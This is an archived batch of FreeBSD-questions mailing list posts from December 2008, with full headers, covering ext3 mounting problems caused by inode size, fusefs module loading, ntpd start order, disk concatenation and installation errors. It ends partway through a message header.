<20081203205554.af97775e.freebsd@edvax.de> <1bd550a00812031159gff32d35kd57019bcc2530e49@mail.gmail.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: FreeBSD Subject: Re: Mounting ext3fs partition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 20:11:29 -0000 On Wed, 3 Dec 2008 20:59:42 +0100, "Fernando Apestegu=EDa" wrote: > Any clues? >From ports: sysutils/e2fsprogs? I don't have a Linux partition here so I cannot check / confirm. Maybe you could use ext3.fsck from this port to check the file system before mounting it? --=20 Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 20:21:58 2008 Return-Path: Delivered-To: Questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 72CE41065673 for ; Wed, 3 Dec 2008 20:21:58 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr15.xs4all.nl (smtp-vbr15.xs4all.nl [194.109.24.35]) by mx1.freebsd.org (Postfix) with ESMTP id 08CE48FC17 for ; Wed, 3 Dec 2008 20:21:57 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr15.xs4all.nl (8.13.8/8.13.8) with ESMTP id mB3KLtvF052929; Wed, 3 Dec 2008 21:21:56 +0100 (CET) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id 442A7BAA9; Wed, 3 Dec 2008 21:21:55 +0100 (CET) Date: Wed, 3 Dec 2008 21:21:55 +0100 From: Roland Smith To: Kevin Monceaux Message-ID: <20081203202155.GA84629@slackbox.xs4all.nl> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="huq684BweRXVnRxX" Content-Disposition: inline In-Reply-To: X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.18 (2008-05-17) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: FreeBSD Questions Mailing List Subject: Re: Returning User With Filesystem/Memory Tuning Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 20:21:58 -0000 --huq684BweRXVnRxX Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Dec 03, 2008 at 01:24:09PM -0600, Kevin Monceaux wrote: > FreeBSD Fans, >=20 > I think I've just about talked myself into coming back for another try.= =20 > First, to ZFS or not to ZFS, that is the question. While I like some of= =20 > the features ZFS has to offer, I realize it may be overkill for my needs.= =20 > The main thing I'm looking for is the ability to combine all the space=20 > available on both hard drives of my home desktop box. Well, gconcat should do the trick. But it carries a risk in the sense that if one of the drives dies, you loose your data. I can't comment on ZFS since I haven't used it. I have two identical disks in my desktop, one is used as a backup. > If I remember correctly, the last time around I had some occasional memor= y=20 > related application crashes. For example I had pan crash a few times=20 > trying to open a large newsgroups.=20 I've never had problems with pan, but I don't use it much anymore. Setting options with malloc.conf(5) can aid you with finding memory bugs. Application crashed can also be due to bad hardware, especially memory. Make sure that you rule out hardware troubles before diving into the software. > I know FreeBSD doesn't blindly allocate memory like Linux does,=20 > but I would like to tune things to take full advantage of my available=20 > memory. To the best of my knowledge, FreeBSD will use all the memory you have within limits set by hardware and software (e.g. limits(1)). Obviously the address space of i386 is becoming limited these days, and part of the address space is reserved for the kernel (1 GB on i386, IIRC). > Taking the above filesystem question into consideration, and wanting a=20 > stable flash plugin, which FreeBSD version should I be going with?=20 Go with the most recent. 7.1 is getting ready, but if you're comfortable with following 7-STABLE that's OK as well. If you want the binary flash plugin you'll have to stick to the i386 architecture. It won't work on amd64. But that goes for most binary stuff. Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --huq684BweRXVnRxX Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk26mMACgkQEnfvsMMhpyWSkgCZAfIFNtTjB002La6lGO5stzWC sm0An2Qx9rW6olJ4b3b1Vx/YtbAqSv2t =+Rs0 -----END PGP SIGNATURE----- --huq684BweRXVnRxX-- From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 21:01:20 2008 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A0842106567A for ; Wed, 3 Dec 2008 21:01:20 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from fk-out-0910.google.com (fk-out-0910.google.com [209.85.128.190]) by mx1.freebsd.org (Postfix) with ESMTP id 2788B8FC08 for ; Wed, 3 Dec 2008 21:01:19 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: by fk-out-0910.google.com with SMTP id k31so3300303fkk.11 for ; Wed, 03 Dec 2008 13:01:19 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=4MpuZtX7Mwi8OjnQD0sa8lAAe2LkFyY8X3rM0Ep5tP4=; b=AmgcQNZt3CHtz84+60CoPKkcuCAwycvMRL3rvkPgYnduM2D1+4pOwSKShuKJIYIDxB lJ7ee0kKZ+LcFiN2mWh5lRmyiVv5cnmHSvj6M5I/JduM7XwimiY+5Q62OJHNdDafzPm2 BTNqRBfe8xWyS1yMBQ2lvxKvdb6q/juLFxVFI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=T8F7O7ktcO3Sq3ousbhwKBfuygaDxKC1l5cC1bIHnqsq8FfmdsPR0LHpY0zoGyg/6i 8+iEezXZUAJ0H77TFClVs0uymgsYoOwBt7rCndTe05Oh+YTM5xFs7HAcbLSREKovqSsq tQHPzVNVBCSU/FnmVO32bYJ7+MEg67FdtOdBk= Received: by 10.181.49.3 with SMTP id b3mr4789438bkk.75.1228338078319; Wed, 03 Dec 2008 13:01:18 -0800 (PST) Received: by 10.180.240.16 with HTTP; Wed, 3 Dec 2008 13:01:18 -0800 (PST) Message-ID: <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> Date: Wed, 3 Dec 2008 13:01:18 -0800 From: "Nerius Landys" To: questions@freebsd.org In-Reply-To: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> Cc: Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 21:01:20 -0000 > FreeBSD 7.0. I am having a problem when ntpd starts at bootup. It > continues to have 2 processes running, the process which does the DNS lookup > fails to exit, and ntpd fails to adjust the clock even after days of > running. Immediately after bootup and several hours or days later this is > what I get: > > # ps -U root | grep ntpd > 87837 ?? Ss 0:00.03 /usr/sbin/ntpd -c /etc/ntp.conf -p > /var/run/ntpd.pid > 87838 ?? S 0:00.00 /usr/sbin/ntpd -c /etc/ntp.conf -p > /var/run/ntpd.pid > > If I do a "/etc/rc.d/ntpd restart" on a running system it fixes the problem, > and only one of the ntpd processes remains, and the clock gets adjusted. > > I have named running as a caching name server on my system. The contents of > my /etc/resolv.conf: > > domain nerius.com > nameserver 127.0.0.1 > > My /etc/rc.conf: > > ... > named_enable="YES" > ntpd_enable="YES" > ... > > I believe that the problem with ntpd is that named is started AFTER ntpd. > > Trying to reproduce problem. On a running system. I shut down named. Then > I restart ntpd, then I start named. I can reproduce the problem that > happens on bootup - ntpd has 2 processes and does not adjust the clock. > Restarting ntpd while named is running fixes the problem > > I believe that the fix for this is to add a dependency to /etc/rc.d/ntpd > script, adding "named" to "REQUIRE" section in comments. In your opinion, > is this a robust fix? For example the line in my /etc/rc.d/ntpd script that > looks like so: > > # REQUIRE: DAEMON ntpdate cleanvar devfs > > would be changed to this: > > # REQUIRE: DAEMON ntpdate cleanvar devfs named Modifying /etc/rc.d/ntpd in this manner did not fix the problem. I still have 2 ntpd processes running indefinitely after bootup of the system, until I manually issue a "/etc/rc.d/ntpd restart", after which the ntpd runs fine. As a separate test, I tried adjusting my resolv.conf to point to an external name server, and I disabled named at startup, and used the original /etc/rc.d/ntpd. I still got the same problem - 2 ntpd processes running indefinitely. Does anyone know why I'm getting 2 ntpd processes running after bootup (and ntpd fails to adjust the clock as a result)? Any suggested fix would be appreciated. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 21:38:10 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E855C106564A for ; Wed, 3 Dec 2008 21:38:10 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: from yx-out-2324.google.com (yx-out-2324.google.com [74.125.44.30]) by mx1.freebsd.org (Postfix) with ESMTP id 946588FC12 for ; Wed, 3 Dec 2008 21:38:10 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: by yx-out-2324.google.com with SMTP id 8so1581001yxb.13 for ; Wed, 03 Dec 2008 13:38:09 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=pMBctLBCtrL7LrUgPe/s1NJutOoXiw8gLtAB8d3JEVU=; b=nJJ0olnTBCZqW4iSzYhYCbNZ+2qVOlC5/FFZjdswIMQWheY7+K4QfKGnZX7J1yiTDK sWyyomKl4mHlLz1C48Fa44KSTLlkCKA7zCx01VXPl4nbomEGWDq2hQDuIY1I0/UIJR5U 7I1ugnAJ63WF5LHID+1GIS/tl1/2o0/TkmPF8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=SHZk1i7luDqXqOpsLiQbwg3baIuQqHZLZ2zgoBUN8h0vbsaY3JzYprpmXqqYeWeVaB dnwgFTgnE+61WYfWqZVmd7T9Ju/TwwIBqnCyjRUnFj7Ok7JLJl0Y1izJOyCciKaZvooG +MY5Etja7inWxeoXXVUdlvcJjQS/eAyP4RYQ8= Received: by 10.142.191.5 with SMTP id o5mr390545wff.9.1228340289114; Wed, 03 Dec 2008 13:38:09 -0800 (PST) Received: by 10.142.180.20 with HTTP; Wed, 3 Dec 2008 13:38:08 -0800 (PST) Message-ID: <1bd550a00812031338o77f70007lbcc52325c91f5b3b@mail.gmail.com> Date: Wed, 3 Dec 2008 22:38:08 +0100 From: "=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=" To: josh.carroll@gmail.com In-Reply-To: <8cb6106e0812031208k62c0979cjc97dd9fcdeb43b32@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> <8cb6106e0812031208k62c0979cjc97dd9fcdeb43b32@mail.gmail.com> Cc: FreeBSD Subject: Re: Mounting ext3fs partition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 21:38:11 -0000 On Wed, Dec 3, 2008 at 9:08 PM, Josh Carroll wrote= : > On Wed, Dec 3, 2008 at 2:45 PM, Fernando Apestegu=EDa > wrote: >> Hi all, >> >> I'm running FreeBSD 7.1-BETA2. I have several partitions/filesystems >> in my computer and I would like to have full access to all of them. >> >> I've mounted the NTFS partition without problems (though it is >> read-only, it's enough for me) >> >> I've compiled the kernel with the EXT2FS option. I can mount the partiti= on with: >> >> mount -t ext2fs /dev/ad4s1 /mnt/linux >> >> note: the partition is actually a ext3fs... >> >> But if I enter the mount point and do "ls", I get: >> >> ls: /mnt/linux: Bad file descriptor > > Is is possible you are running into a case where the inode size of the > partition is not the previous default for e2fsprogs of 128. I have a > patch that addresses this, but I am hesitant to suggest it, since I > have not yet validated that it does not trample some additional ext2 > metadata. However, in the testing I've done, it has worked with all > the tests I've put it through. > > You can verify the inode size with: > > tune2fs -l /dev/ad4s1 | grep "Inode size" > > It is likely 256 (the new e2fsprogs default), in which case you will > not be able to see or use the mount without a fix. If you're > interested in my patch, let me know and I can send it to you (the > machine it is hosted on is down at the moment). Hi josh, Exactly, it is 256. So according to you, I can't use the mounted filesystem, right? Could you please explain in more detail, what the problem is? Thanks in advance. > > Thanks, > Josh > From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 21:48:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 101A6106564A for ; Wed, 3 Dec 2008 21:48:29 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: from rn-out-0910.google.com (rn-out-0910.google.com [64.233.170.191]) by mx1.freebsd.org (Postfix) with ESMTP id B11EE8FC08 for ; Wed, 3 Dec 2008 21:48:28 +0000 (UTC) (envelope-from michael.copeland@gmail.com) Received: by rn-out-0910.google.com with SMTP id j71so3364185rne.12 for ; Wed, 03 Dec 2008 13:48:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:subject:content-type :content-transfer-encoding; bh=+3GOLhd5HFC0xllnkwCsrgCcgfskyRYvuURFznknyUE=; b=pj9jb4KQ41b/c2/ZHSqUYYyse0P1vu0DZviNOKrVBDxbtbZ+xLVTZGr2NeG3Wm6iIj z9yzp6PUFgPfGCQNVI/xpR+FXwC+y6q1oGB+nE2xYRqrm1DwHUvIASfD4R8SJDuVvk+u SqTYToKpkTpILFJIz06BG6H4sep/VNbkvQvDc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; b=HERNO4FipW5ncz4qqK9rln8kEOkNJRKdgd0vSikhsIurdXkTF6e5BIZIS25gEyQQaU 1pHUdLIUHK0rTAdqfnO55rRLTYBuvxorW04BTMOvFDEd801wYa4wJ/wErMZJ2/+aNN8s RZw4YJQoo1q6q53jv4VhNMBdC4/3ZuMtMZ3qI= Received: by 10.150.219.18 with SMTP id r18mr6242717ybg.89.1228340907899; Wed, 03 Dec 2008 13:48:27 -0800 (PST) Received: from ?174.150.77.202? (174-150-77-202.pools.spcsdns.net [174.150.77.202]) by mx.google.com with ESMTPS id n26sm5548185ele.19.2008.12.03.13.48.26 (version=TLSv1/SSLv3 cipher=RC4-MD5); Wed, 03 Dec 2008 13:48:27 -0800 (PST) Message-ID: <4936FEA9.6030307@gmail.com> Date: Wed, 03 Dec 2008 16:48:25 -0500 From: michael User-Agent: Thunderbird 2.0.0.17 (X11/20080925) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: hp dv2225nr laptop optical drive random ejects X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 21:48:29 -0000 has anyone ever seen this happen? system is 8.0-current, drive is not being used and it will just eject while sitting on a table. the only error is from ata stating that the command was frozen or some sort. error isn't repeatable by user. I'm waiting for it to happen again so i can paste relevant info. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 21:54:54 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D2A2C1065676 for ; Wed, 3 Dec 2008 21:54:54 +0000 (UTC) (envelope-from dino_vliet@yahoo.com) Received: from web51112.mail.re2.yahoo.com (web51112.mail.re2.yahoo.com [206.190.39.89]) by mx1.freebsd.org (Postfix) with SMTP id 80BD08FC0C for ; Wed, 3 Dec 2008 21:54:54 +0000 (UTC) (envelope-from dino_vliet@yahoo.com) Received: (qmail 17943 invoked by uid 60001); 3 Dec 2008 21:54:53 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Message-ID; b=DqIVrc1SPyhvOjzKIJ84GJDDqlMIFg8dQGjxlue2ZvK4KLSkwMSWuIHshG31apeBK7+12rCJCruaDh9wI0kEu7EsG1jcXHikDTra4oR8qcXuvc3NlMcUU2qHPTIRLHhK4nDjBj1M26wK3XGdu2hkE/zec+E7PARFXKuyNGYbVCk=; X-YMail-OSG: 3lz79IMVM1nzVIC6dlWMqa7DxtSbHtXOtCCv2oU5uoCrka9uGo2D3D1Sq0_PK0VSK.bfrHYBk1ZBWxucZH7zaYqF14VzqlRixvoMknMgXU664Kao2Jlc5govg.xCjJy_l9Ecjm.Df2Uk8ya3gFKesZ3usz6hloc9_jlEA9Zowavxh5G0BBawJxvCidrKowvD5VXqi7XKnQSv6mzm Received: from [82.136.213.253] by web51112.mail.re2.yahoo.com via HTTP; Wed, 03 Dec 2008 13:54:53 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Wed, 3 Dec 2008 13:54:53 -0800 (PST) From: Dino Vliet To: Scot Hetzel , kdk@daleco.biz, freebsd-questions@freebsd.org, freebsd-ports@freebsd.org In-Reply-To: <790a9fff0812030317t579bb5c9kd950703f0a3ec976@mail.gmail.com> MIME-Version: 1.0 Message-ID: <809060.17846.qm@web51112.mail.re2.yahoo.com> Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 SOLVED X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: dino_vliet@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 21:54:54 -0000 --- On Wed, 12/3/08, Scot Hetzel wrote: From: Scot Hetzel Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 To: dino_vliet@yahoo.com Cc: alepulver@freebsd.org, freebsd-questions@freebsd.org, freebsd-ports@freebsd.org Date: Wednesday, December 3, 2008, 12:17 PM On 12/3/08, Dino Vliet wrote: > Hi people, > > I can't use my maxtor basic 640gb external harddrive on Freebsd amd64 running 7.0 because when I try to load fusefs with this command, kldload /usr/local/modules/fuse.ko I get the following error: > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error > > Adding fusefs_enable="YES" to /etc/rc.conf and fuse_load="YES" to /boot/loader.conf and rebooting doesn't help either, because then that error message is printed on the console. > > uname -a gives: > FreeBSD zouk.telfort.nl 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #1: Thu Nov 27 13:42:17 CET 2008 rgilaard@zouk.telfort.nl:/usr/obj/usr/src/sys/GENERIC amd64 > > pkg_info | grep fuse gives: > > fusefs-kmod-0.3.9.p1.20080208_4 Kernel module for fuse > fusefs-libs-2.7.3 FUSE allows filesystem implementation in userspace > fusefs-ntfs-1.2531 Mount NTFS partitions (read/write) and disk images > > Does anyone have a clue as to what is causing this behavior? How did you install the fusefs-kmod was it from a package or did you build it through the ports system? The most likely cause of this error is due to the fuse.ko module was not built against the same source as your kernel. Rebuild fusefs-kmod and that should resolve the problem. Scot Hi all, this did the trick, thanks! I rebuild my kernel and had to rebuild that port as well. Was sure I had done a portupgrade -fa before, but still it seemed I had to rebuild the port first. After this, I could start fusefs with the script in rc.d and after rebooting it recognized that option as well. Now I managed to mount my external disk with that as well, so everything is ok:-) Thanks again, Dino From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 22:04:45 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 122B4106564A for ; Wed, 3 Dec 2008 22:04:45 +0000 (UTC) (envelope-from josh.carroll@gmail.com) Received: from mail-gx0-f19.google.com (mail-gx0-f19.google.com [209.85.217.19]) by mx1.freebsd.org (Postfix) with ESMTP id 8C5998FC0A for ; Wed, 3 Dec 2008 22:04:44 +0000 (UTC) (envelope-from josh.carroll@gmail.com) Received: by gxk12 with SMTP id 12so2623346gxk.19 for ; Wed, 03 Dec 2008 14:04:43 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:reply-to :to:subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=3J3+y/d2P7QPoE2Y6n6YliE8i2aqOdche9/j3yFCLL0=; b=shOH41j5PJCjmG6vrmNynuZQxTQy3aB92POmTxVWKoFk6s0xbXodoPIb2z07v6mHOK 5wfW9oYc6ir+YdbSf/Hv/sjZbCExQYJbRvnjPR5EdSaxH2wAvLPm8yCBuu4k9fmQE4AD v+T7PEp+0ADMKBAuLtsOIz44CwjfTOfsQHgj0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:reply-to:to:subject:cc:in-reply-to :mime-version:content-type:content-transfer-encoding :content-disposition:references; b=Y8vwpyOFyJitPoeDfn9oWuhKlujzUVPhT2G8o8AC7zEtE7hrwDypNA3/Vg1Y8U+VFM SiConS1Q8E6obgMTN0xi170LFkdhNIyh8ouzFuRCWRUBN81CAT5A3+hsu7Mw6oyig0mG yHB1ZTmwrq/RyyhWcZVHikFQka545v56q9B6I= Received: by 10.150.202.8 with SMTP id z8mr5470987ybf.109.1228341715960; Wed, 03 Dec 2008 14:01:55 -0800 (PST) Received: by 10.150.123.1 with HTTP; Wed, 3 Dec 2008 14:01:55 -0800 (PST) Message-ID: <8cb6106e0812031401p45eb3f4di51b71e48d8819b@mail.gmail.com> Date: Wed, 3 Dec 2008 17:01:55 -0500 From: "Josh Carroll" To: "=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=" In-Reply-To: <1bd550a00812031338o77f70007lbcc52325c91f5b3b@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> <8cb6106e0812031208k62c0979cjc97dd9fcdeb43b32@mail.gmail.com> <1bd550a00812031338o77f70007lbcc52325c91f5b3b@mail.gmail.com> Cc: FreeBSD Subject: Re: Mounting ext3fs partition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: josh.carroll@gmail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 22:04:45 -0000 > Hi josh, > > Exactly, it is 256. So according to you, I can't use the mounted > filesystem, right? > > Could you please explain in more detail, what the problem is? > > Thanks in advance. I believe around e2fsprogs version 1.40.5 or so, they changed the default inode size from 128 to 256. The current ext2fs driver in FreeBSD has a hard-coded inode size defined: #define EXT2_INODE_SIZE 128 I have a patch that dynamically determines this size, but I do not yet have a good enough understanding of the ext2/3 spec to decide if the changes I made are sufficient to fix the problem or if there is some risk of breakage because the extra 128 is required for some metadata of some sort. What happened in your case is something I was afraid of and what prompted me to look into a fix in the first place - namely, newer Linux distributions or even file systems created by e2fsprogs from ports in FreeBSD will be unusable with the current ext2fs driver, since it assumes a size of 128. There is some more information here regarding the patch and its current status: http://unix.derkeiler.com/Mailing-Lists/FreeBSD/stable/2008-11/msg00421.html I (or even better, someone more knowledgeable about file systems) need to read through the ext2/3 spec and determine if the changes I've made cause any breakage. Thanks, Josh From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 22:21:26 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 64CED106567C for ; Wed, 3 Dec 2008 22:21:26 +0000 (UTC) (envelope-from fleetadmiral73@gmail.com) Received: from mail-gx0-f19.google.com (mail-gx0-f19.google.com [209.85.217.19]) by mx1.freebsd.org (Postfix) with ESMTP id 148DB8FC1A for ; Wed, 3 Dec 2008 22:21:25 +0000 (UTC) (envelope-from fleetadmiral73@gmail.com) Received: by gxk12 with SMTP id 12so2631366gxk.19 for ; Wed, 03 Dec 2008 14:21:25 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:subject:from:to:content-type :date:message-id:mime-version:x-mailer:content-transfer-encoding; bh=tKv6UJ7L8YeyUb324eMAheKs6/UILoZY8IUFigV0LSQ=; b=jL0NauPQB/GKLGuuWgbWbal0zMHzjuzCgq+6FTLBDD3SPGF4tp+cVBNbx8o1OMImew YDge1lDBOe+ROhbiyVWLIer2ybxG8sYsZ9AtngGCBla0YQeeOtXHi7+hP96hpXjyrWjy awN50NsSAsv+Q8WtKC39Zaux6uapXxj06tVm4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=subject:from:to:content-type:date:message-id:mime-version:x-mailer :content-transfer-encoding; b=GmaleZmyZS/Pu6aOuGR4Yce+uugj5Sf3YBJuJoiaS63hwUO7NN4m3Cx46BfyBlmBOm Rgmins/J208SRx0ZA954FiSj50DlzSHAta2aSrIDE8LBfubsyGEjq0OPKj0t4tVib4Un qfkJDoszeVSt29tcPiGeopi96Q+kRTx0CFjyk= Received: by 10.142.43.7 with SMTP id q7mr5558374wfq.207.1228340843989; Wed, 03 Dec 2008 13:47:23 -0800 (PST) Received: from ?192.168.0.172? (c-71-236-218-89.hsd1.wa.comcast.net [71.236.218.89]) by mx.google.com with ESMTPS id 30sm2240466wfd.4.2008.12.03.13.47.22 (version=TLSv1/SSLv3 cipher=RC4-MD5); Wed, 03 Dec 2008 13:47:22 -0800 (PST) From: Edward Pollock To: freebsd-questions@freebsd.org Content-Type: text/plain Date: Wed, 03 Dec 2008 13:47:20 -0800 Message-Id: <1228340840.6092.5.camel@echo-desktop> Mime-Version: 1.0 X-Mailer: Evolution 2.24.2 Content-Transfer-Encoding: 7bit Subject: Installation medium undetected / Initial network setup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 22:21:26 -0000 I am working with the Disc 1 ISO of 7-RELEASE. I am having difficulty when selecting the installation medium. When I choose CD/DVD, it returns "Error mounting /dev/acd0 on /dist. Input / Output error 5. I have already set up the partition, and used the auto mode to create slices. I also tried the FTP option, at which point it prompted me to setup my network interface, which I could not complete. I'm using built in nVidia ethernet that it recognizes. I enabled DHCP in the options menu. I know my default gateway IP, but am unsure what to provide as hostname or domain. I currently have a linux distro installed, so if there is a command i can run to retrieve the necessary info I can do that. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 22:25:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A404E1065676 for ; Wed, 3 Dec 2008 22:25:21 +0000 (UTC) (envelope-from ccowart@rescomp.berkeley.edu) Received: from hal.rescomp.berkeley.edu (hal.Rescomp.Berkeley.EDU [169.229.70.150]) by mx1.freebsd.org (Postfix) with ESMTP id 8C7918FC0A for ; Wed, 3 Dec 2008 22:25:21 +0000 (UTC) (envelope-from ccowart@rescomp.berkeley.edu) Received: by hal.rescomp.berkeley.edu (Postfix, from userid 1225) id E29603C046B; Wed, 3 Dec 2008 14:25:20 -0800 